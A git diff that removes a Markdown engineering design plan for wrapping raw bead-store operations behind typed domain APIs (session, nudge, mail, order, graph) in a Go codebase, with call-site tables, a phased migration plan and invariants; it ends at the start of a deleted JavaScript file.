-   │  (Dolt / sqlite / PG)     caching delegators) — raw bead I/O        │
-   └───────────────────────────────────────────────────────────────────┘
-```
-
-The **codec edge** is the load-bearing line: above it nothing speaks
-`beads.Bead`, `beads.ListQuery`, `beads.UpdateOpts`, or `map[string]string`
-metadata literals; below it nothing speaks domain intent. Today only **mail**
-fully realizes this. The work of this design is to push the codec edge down for
-**session / nudge / order** and (optionally) tighten **graph** reads.
-
-**Method home (recommended, per object).** The typed `beads.XStore` lives in
-`internal/beads` (Layer 1). The domain types (`session.Info`, `session.State`,
-`nudgequeue.Item`) live in higher layers. Hanging domain methods directly on
-`beads.XStore` would force `internal/beads` to import `internal/session` etc. —
-a layering inversion. The clean home is a thin domain wrapper *in the object's own
-package* that holds the typed `beads.XStore` by value and owns the codec — exactly
-the precedent already set by `session.InfoStore`
-(`internal/session/info_store.go:75`, holds a `beads.SessionStore` by value). The
-`class_store.go` wrapper stays the routing tag; the domain wrapper owns intent.
-
----
-
-## 3. Per-object designs
-
-### 3.1 session — CLEAN-FRONT-DOOR
-
-**Feasibility.** Both codec halves already exist in `internal/session`; they just
-aren't joined behind a typed store.
-
-- **Write codec exists:** `internal/session/lifecycle_transition.go` has ~20
-  `MetadataPatch` builders (`SleepPatch`, `DrainAckStopPendingPatch`,
-  `AcknowledgeDrainPatch`/`CompleteDrainPatch`, `RestartRequestPatch`,
-  `ConfigDriftResetPatch`, `ClosePatch`, `RetireNamedSessionPatch`,
-  `QuarantinePatch`, `ReactivatePatch`, `ConfirmStartedPatch`/`CommitStartedPatch`,
-  …). They capture domain intent as typed values — but the **write** is still raw
-  `setMetaBatch(store, session.ID, patch)` → `store.SetMetadataBatch(...)`
-  (`cmd/gc/session_beads.go:1825`).
-- **Read codec exists:** `InfoFromPersistedBead` + `InfoStore.Get/List`
-  (`internal/session/info_store.go:21-126`) project `beads.Bead → session.Info`
-  with zero raw beads escaping, backend-invariant — but it is documented as having
-  "no production callers yet."
-
-The fix is mechanical: add typed write+read methods on a `session` domain wrapper
-that confine `SetMetadataBatch`/`Update`/`Close`/`Get` inside the impl.
-
-**Front-door API (method → replaces).**
-
-| method | replaces |
-| --- | --- |
-| `ApplyPatch(id, session.MetadataPatch) error` — the single write primitive | `setMetaBatch(store, session.ID, patch)` at `session_beads.go:1825` and ~20 reconciler sites (`session_reconciler.go:66/378/2122/2136/2293/2367/3388/3404/3436/3674/4049/4157`, `soft_reload.go:146`, `session_circuit_breaker.go:748`) |
-| `SetState(id, session.State, reason) error` | the canonical state-heal `SetMetadataBatch(id, {state: asleep\|creating\|…})` in `session_reconcile.go:902-928` (`healState`/`healStateWithRollback`) |
-| `Sleep(id, reason, now) error` (wraps `SleepPatch`) | `session_reconciler.go:2293` (max-age), `:2367` (idle-timeout) |
-| `BeginDrainAckStopPending(id, now) error` | `session_reconciler.go:66` (`markDrainAckStopPending`) |
-| `FinalizeDrain(id, ack, complete, reason, freshWake, now) error` | `session_reconciler.go:378` |
-| `RequestRestart(id, sessionKey, now) error` | `session_reconciler.go:1818` |
-| `ResetConfigDrift(id, next State, sessionKey, now) error` | `session_reconciler.go:3674`; `soft_reload.go:146` |
-| `RecordStartedHashes(id, session.StartedHashes) error` | fingerprint backfill/rebaseline at `session_reconciler.go:2136/2148/2162/4049/4157` |
-| `SetSleepIntent` / `ClearSleepIntent` | `session_reconciler.go:2568`; wait-hold intent at `cmd_wait.go:294/1293` |
-| `SetWaitHold(id, on, reason) error` | `SetMetadataBatch(sessionID, {wait_hold, sleep_intent})` at `cmd_wait.go:294`; clear at `:1293` |
-| `StampMarker(id, key, value)` / `ClearMarkers(id, keys…)` | `:3016` stranded marker; `StampWaitLookupCapMetadata` at `cmd_wait.go:757`; drift-deferral set/clear at `:3388/3404/3436/2122`; circuit clear at `session_circuit_breaker.go:748` |
-| `RecordCurrentBead(id, beadID) error` | `recordCurrentBeadIDOnWake` (`session_bead_cycle.go:21`) |
-| `GetInfo(id) (session.Info, error)` (promote `InfoStore.Get`) | `store.Get(id)` + read `.Status/.Metadata` at `session_reconciler.go:342`, `controller.go:290`, `cmd_wait.go:228/1115/1289/1389` |
-| `GetState(id) (session.State, closed bool, error)` | `Get(id)` + check `Status=="closed"` at `session_reconciler.go:342`, `session_beads.go:2143/2209/2347` |
-| `ListInfo(session.ListFilter) ([]session.Info, error)` (promote `InfoStore.List`) | `ListAllSessionBeads` feeding `loadSessionBeadSnapshot` (`session_bead_snapshot.go:85`); `ListByLabel("gc:session")` at `cmd_stop.go:351`; `cmd_mail.go:1085` |
-| `Close(id, reason, now) (closed bool, error)` | `closeBead`/`closeFailedCreateBead` at `session_beads.go:2347/2354/2357/1840` |
-| `CreateSession(session.CreateSpec) (id, error)` | `Create(beads.Bead{Type:session,…})` + `SetMetadata(session_name)` at `session_beads.go:1184/1203` |
-| `Reopen(id) error` / `Retire(id, reason, identity, now) error` / `RepairType(id)` | `Update{Status:open}` at `session_beads.go:347`; retire+archive at `:454/459/520/529`; type-repair at `:908` |
-
-**Replaces ~46 raw bead ops.**
-
-**Codec boundary.** READ: `InfoFromPersistedBead` (side-effect-free,
-backend-invariant). WRITE: the `MetadataPatch` builders, with `ApplyPatch` as the
-single chokepoint that calls `SetMetadataBatch`. What crosses *in*: `id string`,
-`session.State`, `session.MetadataPatch`, typed spec structs
-(`CreateSpec`/`StartedHashes`/`ListFilter`). What crosses *out*: `session.Info`,
-`session.State`, `ok`/`closed` bools, errors. Zero `beads.Bead`,
-`beads.ListQuery`, `{state:…}` literal, or metadata-key constant crosses the
-`cmd/gc` boundary.
-
-**Open risks.** (a) `MetadataPatch.Apply` treats empty string as *delete*
-(`lifecycle_transition.go:25-28`) — `ApplyPatch` must preserve that on every
-backend or heal/clear silently breaks on PG. (b) `loadSessionBeadSnapshot` keys
-the whole tick off `b.Metadata[session_name|template|configured_named_identity|
-common_name|pool_slot|agent_name]`; `session.Info` lacks
-`pool_slot/configured_named_identity/common_name`, so `ListInfo` can only replace
-the snapshot if `Info` is extended **or** a richer typed `SessionSnapshot` is
-introduced. This is the single largest read-side change.
-
-> Cross-class WORK probes and the close-path work-reassignment trio are **NOT**
-> the session front door — see §5.
-
-### 3.2 nudge — CLEAN-FRONT-DOOR (one caveat)
-
-**Feasibility.** The entire raw-bead surface is already collapsed into four leaf
-helpers in `cmd/gc/nudge_beads.go` (`find`/`findAny`/`ensure`/`markTerminal`) plus
-one rollback at `cmd_nudge.go:1863`, all keyed by `nudge_id`. The domain type
-(`nudgequeue.Item`) already exists. ~6 raw ops total.
-
-**Caveat — the bead is a SHADOW.** The flock'd queue file
-(`internal/nudgequeue/state.go`, `WithState` over `state.json`) holds the
-canonical `[]Item`. The bead exists for observability/event-emission. So the front
-door is a thin veneer over `ensure`/`markTerminal`/`find`, NOT a new storage
-authority. The methods must stay callable **inside** the `withNudgeQueueState`
-transaction (`cmd_nudge.go:1800/1893/1942/2002`) so shadow and authority stay
-coherent under one lock.
-
-**Front-door API (method → replaces).**
-
-| method | replaces |
-| --- | --- |
-| `Save(item nudgequeue.Item) (beadID, created bool, err)` | `ensureQueuedNudgeBead` → `Create(beads.Bead{…})` at `nudge_beads.go:104/132-142`; confines the Item→meta codec (`:115-131`) and label construction |
-| `Terminalize(item, state, reason, commitBoundary, now) error` | `markQueuedNudgeTerminal` → `SetMetadataBatch+Close` at `nudge_beads.go:149/167/173`; confines the close-reason floor (`:218`) and BeadID-then-find fallback (`:182-198`) |
-| `Find(nudgeID) (Item, bool, error)` | `findQueuedNudgeBead` (`:52`) — existence gate at `cmd_wait.go:1163`; returns a **decoded Item** |
-| `FindIncludingTerminal(nudgeID) (Item, bool, error)` | `findAnyQueuedNudgeBead` (`:56`) used to read TERMINAL state at `cmd_wait.go:1230`, `cmd_nudge.go:2157/2179`; returns typed `state/terminal_reason/commit_boundary` so callers stop cracking `nudge.Metadata[...]` (`cmd_wait.go:1241-1256`, `cmd_nudge.go:2164/2180`) |
-| `RollbackEnqueue(beadID) error` | `cmd_nudge.go:1863-1866` (`SetMetadata(close_reason)` + `Close`) |
-| *(internal)* `decodeNudgeItem(b beads.Bead) (Item, error)` | **THE MISSING HALF OF THE CODEC** — today only Item→Bead exists; `reference_json` is written (`:258`) but never read back |
-
-**Replaces ~6 raw ops.**
-
-**Codec boundary.** Item flows *out* to the bead for observability; the
-`Bead→Item` decoder exists only to read **controller-stamped terminal fields**
-(`state`/`commit_boundary`/`terminal_reason`) that the queue file does not retain.
-A decoded Item is therefore **partial** — queue-only runtime fields
-(`Attempts`, `ClaimedAt`, `LeaseUntil`, `DeadAt`, `CreatedAt`) live only in
-`state.json`. **Open question:** return a narrower typed view
-(`NudgeShadow{ID, State, TerminalReason, CommitBoundary}`) from `Find*` rather than
-a half-populated `Item`, so callers can't trust empty `Attempts`/`LeaseUntil`.
-
-### 3.3 mail — CLEAN-FRONT-DOOR (already achieved)
-
-**Feasibility.** Mail is the reference shape. Every message op crosses as
-`mail.Message`/`mail.HandoffIntent`/`mail.ArchiveResult` through `mail.Provider`
-(`internal/mail/mail.go:88-149`); the codec is confined to
-`beadmail.beadToMessage` (`:924`) and `createMessageBead` (`:169`). No caller in
-`cmd/gc` or `internal/api` constructs a `Type="message"` bead or reads its
-metadata. **replacesRawOps = 0 for the mail object.**
-
-**The residual raw ops in the mail CLI/API are SESSION reads, not mail leaks** —
-they resolve a mailbox address from a session bead and belong behind the session
-front door:
-
-| method (SESSION front door) | replaces |
-| --- | --- |
-| `sessionStore.MailboxAddress(identifier) (addr, err)` | `cmd_mail.go:953/975/1172` `Get(sessionID)` + `b.Metadata[alias\|session_name]` (`sessionMailboxAddress` `:903`) |
-| `sessionStore.MailboxAddresses(identifier) ([]string, err)` | `cmd_mail.go:1172` (`:913`, alias-history aware); `handler_extmsg.go:113-122` |
-| `sessionStore.ListLive() ([]session.Info, err)` | `cmd_mail.go:1085/1092` `ListAllSessionBeads` + `b.Metadata[...]` |
-
-These must be tracked under the session work so mail doesn't "look done" while the
-callers still import `session.ListAllSessionBeads`.
-
-### 3.4 order — CLEAN-FRONT-DOOR
-
-**Feasibility.** The order-*tracking* record is a pure non-work coordination
-object (`Title "order:<scoped>"`, label `order-tracking`, hand-written outcome
-labels `exec`/`exec-failed`/`exec-env-failed`/`wisp`/`wisp-failed`/
-`wisp-canceled`/`trigger-env-failed`, the `order-run:<scoped>` attribution label,
-and the event cursor encoded as the label pair `order:<scoped>` + `seq:<N>`). None
-of the STAYS-BEAD exemptions apply. ~31 raw ops across `order_dispatch.go` +
-`cmd_order.go` collapse to a small typed `OrderRun` vocabulary.
-
-The non-trivial part: the dispatcher deliberately exploits bead mechanics —
-`CreatedAt` is the cooldown clock; an **open** tracking bead == in-flight
-single-flight marker; closed-immediately == cooldown-advance-only — plus a
-two-tier (wisps/issues) union. The typed API must **name** these, not hide them.
-
-**Front-door API (method → replaces).**
-
-| method | replaces |
-| --- | --- |
-| `CreateRun(scoped, RunOpts) (OrderRun, error)` — returns an OPEN run | `order_dispatch.go:557-561` (trigger-env-failed), `:621-625` (normal pre-dispatch) |
-| `CreateRunClosed(scoped, RunOutcome, *EventCursor) (OrderRun, error)` — create+close, cooldown-only | `cmd_order.go:752-760` (manual-run tracking), create half of `:805-814` |
-| `SetOutcome(runID, RunOutcome) error` — enum {Exec,ExecFailed,ExecEnvFailed,Wisp,WispFailed,WispCanceled} | outcome labels at `order_dispatch.go:1173/1189/1217/1227/1293/1417/1444`, `cmd_order.go:817/832` |
-| `SetCursor(runID, scoped, seq uint64) error` | `order_dispatch.go:1187` (pre-side-effect cursor persist), cursor half of `:1442` |
-| `CloseRun(runID, reason) error` | `cmd_order.go:758/814` defer-Close; immediate-close half of `CreateRunClosed` |
-| `RecentRuns(scoped, limit) ([]OrderRun, error)` | `cmd_order.go:1397-1402` (`gc order history`) |
-| `LastRun(scoped) (time.Time, bool, error)` — cooldown clock read | `internal/orders/runtime_helpers.go` `LastRunFuncForStore` |
-| `EventCursor(scoped) (uint64, error)` — `MaxSeqFromLabels` confined inside | `cmd_order.go:1688-1706` (`bdCursor`), `CursorFuncForStore` |
-| `OpenTracking(scoped) ([]OrderRun, error)` / `HasOpenWork(scoped) (bool, error)` — single-flight gate | `order_dispatch.go:1471-1477` (`listCanonicalOpenOrderTrackingBeads`), `:1499-1531` (`hasOpenWorkStrict`) |
-| `SweepOrphaned(SweepOpts)` / `SweepStale(now, StaleSweepOpts)` | `order_dispatch.go:1880-1915`, `:2059-2123`; `city_runtime.go:1481` |
-| free funcs `RecentRunsAcrossStores` / `EventCursorAcrossStores` / `SweepAcrossStores` (loop `[]OrdersStore`) | `cmd_order.go:1386-1426`, `bdCursorAcrossStores` `:1708-1723`, retention-across-stores `:2125+` |
-
-**Replaces ~31 raw ops.**
-
-**Codec boundary.** Crossing in/out: a scoped order name (string), a `RunOutcome`
-enum, a `uint64` `EventCursor`, `time.Time` (`CreatedAt` = cooldown marker), and an
-`OrderRun{ID, Scoped, Outcome, CreatedAt, Open, Cursor}`. Confined inside: the
-`Title`/label encoding, outcome→label mapping, the cursor→(`order:<scoped>`,
-`seq:<N>`) label-pair codec, `NoHistory`, `TierBoth`, `IncludeClosed`,
-`close_reason` metadata. **Must reuse the canonical label constants already
-mirrored in `internal/coordclass` for routing** (do not re-declare them; the
-coordclass drift test guards both).
-
-**Caveat — no domain type exists yet.** Unlike session (`Info`), nudge (`Item`),
-mail (`Message`), the order object has **no** pre-existing domain type. `OrderRun`
-+ `RunOutcome` + `EventCursor` are net-new and must be designed, not promoted.
-
-### 3.5 graph — DAG-FRONT-DOOR (already substantially built)
-
-**Feasibility.** The **write** half is a clean front door today:
-`beads.GraphApplyStore.ApplyGraphPlan(ctx, *GraphApplyPlan) (*GraphApplyResult,
-error)` (`internal/beads/graph_apply.go:10-12`) is the only graph-class mutation
-path — plan in, symbolic-key→id map out, codec confined to `BdStore`/
-`NativeDoltStore` impls. **There is no per-attribute graph setter anywhere**, and
-the inventory found **ZERO graph leak sites** across reconciler, CLI/API, and
-prompts. **replacesRawOps = 0; gcCommands = NONE.**
-
-The remaining DAG-walk **reads** (`storeHasOpenDescendantsByWalk`,
-`enumerateWispGCRoots`, `collectAttachedBeads`, with callers reading
-`b.Status`/`b.ParentID`/`b.Metadata[gc.root_bead_id]` at
-`cmd/gc/order_dispatch.go:1581-1700`, `wisp_gc.go:149-260`,
-`attachment_metadata.go:8`) traverse the **WORK/molecule substrate** — the v1
-materialization of a formula — which the principle explicitly keeps bead/raw. They
-are **NOT leaks.**
-
-**Optional type-hygiene only** (defer unless parity with session/nudge/order is
-wanted): promote those walks into typed `GraphStore.Descendants` /
-`HasOpenDescendants` / `EnumerateRoots` / `CollectAttached` / `PurgeClosedSubtree`
-returning `GraphNode`/`GraphSubtree` instead of `[]beads.Bead`. If pursued, those
-methods must call `GraphApplyFor(s.Store)`/`HandlesFor(s.Store)` internally — the
-`class_store.go` wrapper does **not** promote optional capabilities (assert on the
-embedded `.Store`).
-
----
-
-## 4. gc commands to introduce
-
-**Verdict: NONE.** All three inventory areas agree, and the prompt audit is
-explicit:
-
-- **inv:prompts** searched every prompt/template/formula/skill asset in the repo
-  (`internal/bootstrap/packs/core/{skills,formulas,orders,assets/prompts,overlay}`,
-  `cmd/gc/prompts/*.md`, `examples/**`) and found **zero** raw `bd` ops on a
-  session, nudge, mail, order, or graph object. Every raw `bd` op an agent runs
-  targets a **WORK** bead (its assigned task or a molecule/formula step — the
-  substrate the principle keeps bead/raw).
-- Agents already reach every non-work object through existing commands:
-  - mail → `gc mail send|reply|inbox|count|peek|read|thread|archive|mark-read|mark-unread|delete|check` + `gc order sweep-nudge-mail`
-  - session → `gc session new|suspend|close|kill|nudge|logs`, `gc agent add|suspend|resume`
-  - drain/restart signals → `gc runtime drain|undrain|drain-check|drain-ack|request-restart`
-  - nudge → `gc session nudge`
-  - order → `gc order run|check|history|list` + `gc order sweep-tracking`
-  - wait → `gc session wait`
-  - graph/molecule navigation → `gc bd` / `bd mol` (WORK substrate, allowed)
-
-The prompt-side front-door obligation is **already met.** The remaining work is
-**100% Go-internal** (go-cli + go-api + go-controller): the existing `gc` command
-*handlers* still call raw `store.SetMetadataBatch/Create/Close/List` inside their
-own bodies — the leak is **inside the handler impl**, not at the prompt boundary —
-so no new command is required, only routing those handlers through the typed
-stores above.
-
-**Boundary flag (out of scope for this repo):** pack-specific prompts ship in
-external pack repos (gastown/workflows/maintainer). Those must be audited
-separately; this audit can only see the built-in core pack.
-
----
-
-## 5. Reconciler rework — the work-vs-session split
-
-The deepest and densest leak is the controller/reconciler. The critical
-structural fact: many ops in session-lifecycle files are **WORK ops keyed by a
-session identity**, not session ops. On a single-store (default) city they run
-against the *same store object* the session arm uses, so they are literally
-"WORK-List-through-the-session-store." They must split:
-
-- **session-attribute ops → the session front door** (§3.1): every
-  `SetMetadataBatch(session.ID, patch)` state-heal, every `Get(session.ID)` →
-  read `.Status/.Metadata`, the `[]beads.Bead` snapshot.
-- **cross-class WORK / readiness / assignment ops → a WORK/assignment API, NOT
-  the session store.** Proposed surface:
-  `workStore.OpenAssignedTo(identity)`, `ReadyAssignedTo(identity, tier)`,
-  `ReleaseAssignedTo(sessionID)`, `ReassignAssignedTo(old, new)`. Work itself
-  stays bead/raw *inside* that API (it is the substrate); the point is that the
-  session reconciler stops calling `store.List(ListQuery{Assignee})` /
-  `beads.ReadyLive` directly.
-
-**Cross-class WORK leak list (must move off the session store):**
-
-| site | op | belongs to |
-| --- | --- | --- |
-| `session_reconciler.go:2933` `firstOpenAssignedWorkBeadInStoreByIdentifiers` | `List(ListQuery{Assignee,Status,Live,TierBoth})` | `workStore.OpenAssignedTo` |
-| `session_reconciler.go:3100` `collectSessionAssignedWork` | `List(ListQuery{Assignee,…})` | `workStore.OpenAssignedTo` |
-| `session_reconciler.go:3238` `sessionHasReadyAssignedWorkForTier` | `beads.ReadyLive(ReadyQuery{Assignee,TierMode})` | `workStore.ReadyAssignedTo` |
-| `session_reconciler.go:3246` `sessionHasOpenAssignedWorkForTier` | `List(ListQuery{Assignee,Status,Live,TierMode})` | `workStore.OpenAssignedTo` |
-| `session_reconciler.go:3221` `sessionHasOpenAssignedWispWork` | `CachedList` + open-assigned wisp probe | `workStore.OpenAssignedTo(TierWisps)` |
-| `session_beads.go:2408` `releaseWorkFromClosedSessionBead` | `List(Assignee,Status)` + `Update(Assignee:"",Status:open)` | `workStore.ReleaseAssignedTo(sessionID)` |
-| `session_beads.go:696` `unclaimWorkAssignedToRetiredSessionBead` | `List(...)` + `Update(Assignee:"",run_target)` | `workStore.ReleaseAssignedTo` |
-| `session_beads.go:762` `reassignWorkAssignedToRetiredSessionBead` | `List(...)` + `Update(Assignee:&new)` | `workStore.ReassignAssignedTo(old,new)` |
-| `build_desired_state.go:1116/1135/1177/1186` `collectAssignedWorkBeads` | `listBothTiersForControllerDemand` / `liveReadyForControllerDemandQuery` | **legit WORK arm** — should be the single place WORK reads are expressed; the session-keyed probes above route *through it* |
-| `build_desired_state.go:1708/1717/1758` | `beads.HandlesFor(store).Live/All.List` + `Ready` | the WORK front-door plumbing |
-| `city_runtime.go:2124` `releaseOrphanedPoolAssignmentsWhenSnapshotsComplete` | re-home orphaned pool WORK assignments | `workStore.Reassign/Release` |
-| `city_runtime.go:1481` `warnIfClosedOrderTrackingBacklog` | `Live.List(Label:order-tracking)` | **orders** front door (§3.4) |
-| `cmd_wait.go:769/797/828` wait wake-state assembly | `List(Label:gc:wait)` + `loadSessionWaitBeads` | **wait** front door (partially in `internal/session/waits.go`) |
-| `cmd_wait.go:915/925/938` `loadWaitDependencyBead` | `cityStore.Get(depID)` / `scopeStore.Get(depID)` | cross-class **WORK** dep read |
-
-**Coupling.** `closeBead` (session) calls `releaseWorkFromClosedSessionBead`
-(work). So the close path touches both APIs. The session front-door PR can land
-first against a *stubbed* work/assignment API, or they land together — but the
-close path is the join point and must be sequenced deliberately (see §7).
-
-**Existing partial front doors to reuse (not reinvent):**
-`internal/session/waits.go` (`ReassignWaits`, `CancelWaits`,
-`ListSessionWaitBeads`); `internal/extmsg` (`ReassignSessionBindings`,
-`ReassignSessionParticipants`, `CloseSessionBindings`);
-`internal/session/names.go` (`WithCitySessionIdentifierLocks`, alias reservation).
-The retire cascade (`reassignStateAssignedToRetiredSessionBead` `session_beads.go:782`,
-`cancelStateAssignedToRetiredSessionBead` `:800`) already calls these — it just
-orchestrates them raw alongside work `Update`s.
-
----
-
-## 6. Honest caveats
-
-1. **graph stays a DAG front door, not per-attribute setters.** Its write seam is
-   `ApplyGraphPlan` (done). Its reads traverse the WORK/molecule substrate and
-   stay bead/raw. `replacesRawOps=0`; read tightening is optional type-hygiene.
-2. **work stays bead/the wire contract.** The generic task substrate, the
-   federation/by-id root, and the HTTP/SSE wire (`beads.Bead`) are intentionally
-   raw. The work/assignment API in §5 is a typed *façade over* the substrate for
-   the **session-keyed** probes; it does not turn work into a closed domain type.
-3. **nudge decoder gap.** Only `Item→Bead` exists today; `reference_json` is
-   written but never read (`nudge_beads.go:258`). `decodeNudgeItem` is the one
-   genuinely net-new piece of nudge logic, and a decoded Item is **partial**
-   (queue-only runtime fields absent). Prefer a narrow `NudgeShadow` view over a
-   half-populated `Item`.
-4. **order has no domain type.** `OrderRun`/`RunOutcome`/`EventCursor` are net-new
-   and must be designed. The cooldown-clock (`CreatedAt`), open-bead-==-in-flight,
-   and two-tier-union semantics are load-bearing and must be *named* by the API.
-5. **wait and order-tracking are distinct non-work objects** also raw-poked from
-   `cmd_wait.go`/`order_dispatch.go`. Wait has a partial front door
-   (`internal/session/waits.go`); a full `WaitStore` (Register/SetState/Get/List)
-   is its own object, out of the five named here but interleaved at the cmd_wait
-   call sites with session writes.
-6. **`MetadataPatch` empty-string-clears** is a cross-backend contract that must
-   be verified on PG, or every heal/clear breaks silently.
-7. **External pack prompts** are unaudited (out of this repo).
-
----
-
-## 7. Phased migration plan
-
-Each phase: ≤5 files where possible, build-green, TDD (write the test asserting
-the typed method's serialization first), and **wire/runtime byte-identical** (the
-typed method must emit the exact same bead writes the raw op did — assert with a
-fake store recording `SetMetadataBatch`/`Create`/`Close` calls). The reconciler
-split is **last** because it is the densest and riskiest.
-
-This plan **extends #3773**, which already promoted (a) the mail half
-(`mail.Provider` over `mail.Message`) and (b) the session API/response half
-(`session.Manager.GetWithPersistedResponse` → `session.Info` →
-`sessionResponseWithReason`) and added the routing-only `class_store.go` wrappers.
-#3773 built the *type tags*; this plan turns the tags into *front doors*.
-
-**Phase 0 — domain types + wrapper skeletons (no call-site change).**
-Introduce/confirm the domain wrappers that hold `beads.XStore` by value:
-extend `session.InfoStore` toward a full `session.Store` (reads first); add the
-`nudge` wrapper + `decodeNudgeItem` (with golden round-trip tests); design the
-`OrderRun`/`RunOutcome`/`EventCursor` types + `orders.Store`. No production caller
-switches yet. Build-green, all new code under test.
-
-**Phase 1 — mail residual SESSION reads.** Add `sessionStore.MailboxAddress/
-MailboxAddresses/ListLive(->Info)` and route `cmd_mail.go:953/975/1172/1085/1092`
-+ `handler_extmsg.go:113` through them. Closes the "mail looks done" trap. Small,
-isolated, no reconciler.
-
-**Phase 2 — nudge front door.** Route `nudge_beads.go` (`Save`/`Terminalize`/
-`Find`/`FindIncludingTerminal`) and `cmd_nudge.go:1863` (`RollbackEnqueue`)
-through the wrapper. Keep methods callable inside `withNudgeQueueState`. Replace
-the `cmd_wait.go`/`cmd_nudge.go` `Metadata[...]` cracks with typed fields.
-
-**Phase 3 — order front door.** Route `order_dispatch.go` + `cmd_order.go` raw
-ops through `OrdersStore` typed methods, reusing `coordclass` label constants.
-Preserve cooldown-clock and open-bead-in-flight invariants under test. Keep
-multi-scope federation as loops over `[]OrdersStore`.
-
-**Phase 4 — session writes (heal/lifecycle).** Route the ~20 `SetMetadataBatch`
-heal sites + `closeBead`/`CreateSession`/`Reopen`/`Retire` through the session
-front door (`ApplyPatch`/`SetState`/`Sleep`/…/`Close`). Reconciler still reads
-the `[]beads.Bead` snapshot — only **writes** move here. Largest single PR;
-shard across `session_reconciler.go`, `session_beads.go`, `session_reconcile.go`,
-`soft_reload.go`, `controller.go`, `session_circuit_breaker.go`.
-
-**Phase 5 — session reads + snapshot.** Route `Get(session.ID)`→`.Metadata`
-reads through `GetInfo`/`GetState`/`ListInfo`. This is where the snapshot decision
-lands: extend `session.Info` with `pool_slot/configured_named_identity/
-common_name` OR introduce a typed `SessionSnapshot`, then convert
-`loadSessionBeadSnapshot`.
-
-**Phase 6 — work/assignment API + the cross-class split (LAST, riskiest).**
-Introduce `workStore.OpenAssignedTo/ReadyAssignedTo/ReleaseAssignedTo/
-ReassignAssignedTo` routing through the existing
-`build_desired_state.go` controller-demand plumbing. Move every cross-class WORK
-op in §5 off the session store onto it, including the `closeBead →
-releaseWorkFromClosedSessionBead` join. This is the densest, highest-risk change;
-it lands only after the session front door is stable so the close path has a typed
-session side to bind to.
-
-**Phase 7 — (optional) graph read tightening + wait/order-tracking sweep
-cleanup.** Only if parity is desired. Promote graph DAG walks to typed reads;
-route the order-tracking sweep/backlog reads (`city_runtime.go:1481`) through the
-orders front door.
-
-**Phase 7 — DONE (scaffold cleanup pass).** The order front-door scaffold left
-four exported symbols with no non-test caller. They were removed rather than
-wired, because wiring could not be byte-identical:
-
-- `Store.OpenTracking` / `Store.HasOpenWork` did a per-scoped `Live.List`. The
-  dispatch open-work gate (`cmd/gc/order_dispatch.go`
-  `orderDispatchTrackingIndex.hasOpenTracking`/`hasOpenWork`) deliberately
-  batches *all* scoped orders per store into one query and layers a wisp-aware
-  descendant check on top (`hasOpenWorkStrict`); the per-scoped methods would
-  reintroduce the N-serial-query pattern #3201/#3191/#3197 eliminated.
-- `RecentRunsAcrossStores` could not replace the `gc order history` loop
-  (`cmd_order.go`) byte-identically: that loop preserves per-store error
-  semantics (`i == 0 && len(results) == 0`), dedups by
-  `scoped\x00id\x00createdAt`, and retains per-order `Name`/`Rig` attribution
-  the single-`scoped` free func discards.
-- `EventCursorAcrossStores` (and the `Store.EventCursor`/`Store.LastRun` methods
-  it kept alive) duplicated `CursorAcrossStores`/`LastRunAcrossStores`, which are
-  already the production cooldown/cursor read path; the dead variant even queried
-  a different label (`order:` vs `order-run:`), so it was not equivalent to
-  `bdCursorAcrossStores`.
-
-The wired-and-kept order front door is `CreateRun`/`CreateRunClosed`/
-`SetOutcome`/`SetCursor`/`CloseRun`/`RecentRuns`.
-
-**Permanent raw-by-design exceptions (NOT leaks, do not "front-door"):**
-
-1. The dispatch open-work gate's in-memory tracking index
-   (`orderDispatchTrackingIndex`) — a performance-critical batched read, not a
-   per-attribute op.
-2. The cooldown/cursor runtime helpers (`LastRunFuncForStore`,
-   `CursorFuncForStore`, and their `*AcrossStores` forms) — the production
-   gate-read path.
-3. The order-tracking sweep/backlog reads (`order_dispatch.go` sweeps,
-   `city_runtime.go:1481` `warnIfClosedOrderTrackingBacklog`) — distinct
-   tier/error semantics; left raw deliberately.
-4. The session reconciler close-gate re-read at `session_reconciler.go:342` — a
-   full status/metadata resync left raw BY DESIGN.
-
----
-
-## 8. Invariants to preserve
-
-1. **Wire byte-identical.** No HTTP/SSE payload changes. The typed methods are an
-   *internal* refactor; `internal/api/openapi.json` and generated TS types must be
-   untouched (`TestOpenAPISpecInSync`, `make dashboard-check`).
-2. **Projection-invariance.** `InfoFromPersistedBead` reads only bead fields and
-   must round-trip identically across bd/sqlite/PG. Any new decoder
-   (`decodeNudgeItem`, `OrderRun` decode) must be backend-invariant and
-   side-effect-free.
-3. **No typed-nil traps.** The `class_store.go` wrappers do **not** promote
-   optional capabilities; methods needing `GraphApplyFor`/`HandlesFor`/`Counter`
-   must assert on the embedded `.Store`, never assume the wrapper satisfies the
-   optional interface. Guard against a non-nil interface wrapping a nil store.
-4. **Byte-identical runtime / bead writes.** Each typed method must emit the exact
-   same `SetMetadataBatch`/`Create`/`Close`/`Update` calls (same keys, same
-   empty-string-clear semantics, same labels, same `NoHistory`/`TierBoth`) as the
-   raw op it replaces — asserted by a recording fake store in the phase's tests.
-5. **Empty-string-clears contract** (`MetadataPatch.Apply`) preserved on every
-   backend.
-6. **Single-source label constants.** Order/coordination label strings reuse the
-   `internal/coordclass` canonical constants; the coordclass drift test keeps
-   guarding both the routing tag and the codec.
-7. **Lock coherence (nudge).** `Save`/`Terminalize` stay callable inside
-   `withNudgeQueueState` so the bead shadow and the `state.json` authority stay
-   coherent under one flock.
-8. **ZERO hardcoded roles / no judgment in Go.** The front-door methods move
-   *serialization*, never decisions; no `if state == ...` reasoning migrates into
-   Go.
-
----
-
-## Appendix — front-door verdict at a glance
-
-| object | verdict | domain type | replacesRawOps | gc cmd | notes |
-| --- | --- | --- | --- | --- | --- |
-| session | CLEAN-FRONT-DOOR | `session.Info` (exists) | ~46 | none | both codec halves exist; join behind a typed store |
-| nudge | CLEAN-FRONT-DOOR | `nudgequeue.Item` (exists) | ~6 | none | bead is a SHADOW; needs the missing `decodeNudgeItem` |
-| mail | DONE | `mail.Message` (exists) | 0 | none | residual ops are SESSION reads, owned by session |
-| order | CLEAN-FRONT-DOOR | none (net-new) | ~31 | none | must name cooldown-clock / open==in-flight / two-tier |
-| graph | DAG-FRONT-DOOR (done) | `GraphApplyPlan` (exists) | 0 | none | write seam done; reads are WORK substrate, stay raw |
diff --git a/engdocs/plans/infra-store-decouple/raw/frontdoor-di-analysis.js b/engdocs/plans/infra-store-decouple/raw/frontdoor-di-analysis.js
deleted file mode 100644
index c6e16e9238..0000000000
--- a/engdocs/plans/infra-store-decouple/raw/frontdoor-di-analysis.js
+++ /dev/null
@@ -1,104 +0,0 @@
-export const meta = {
-  name: 'frontdoor-di-analysis',
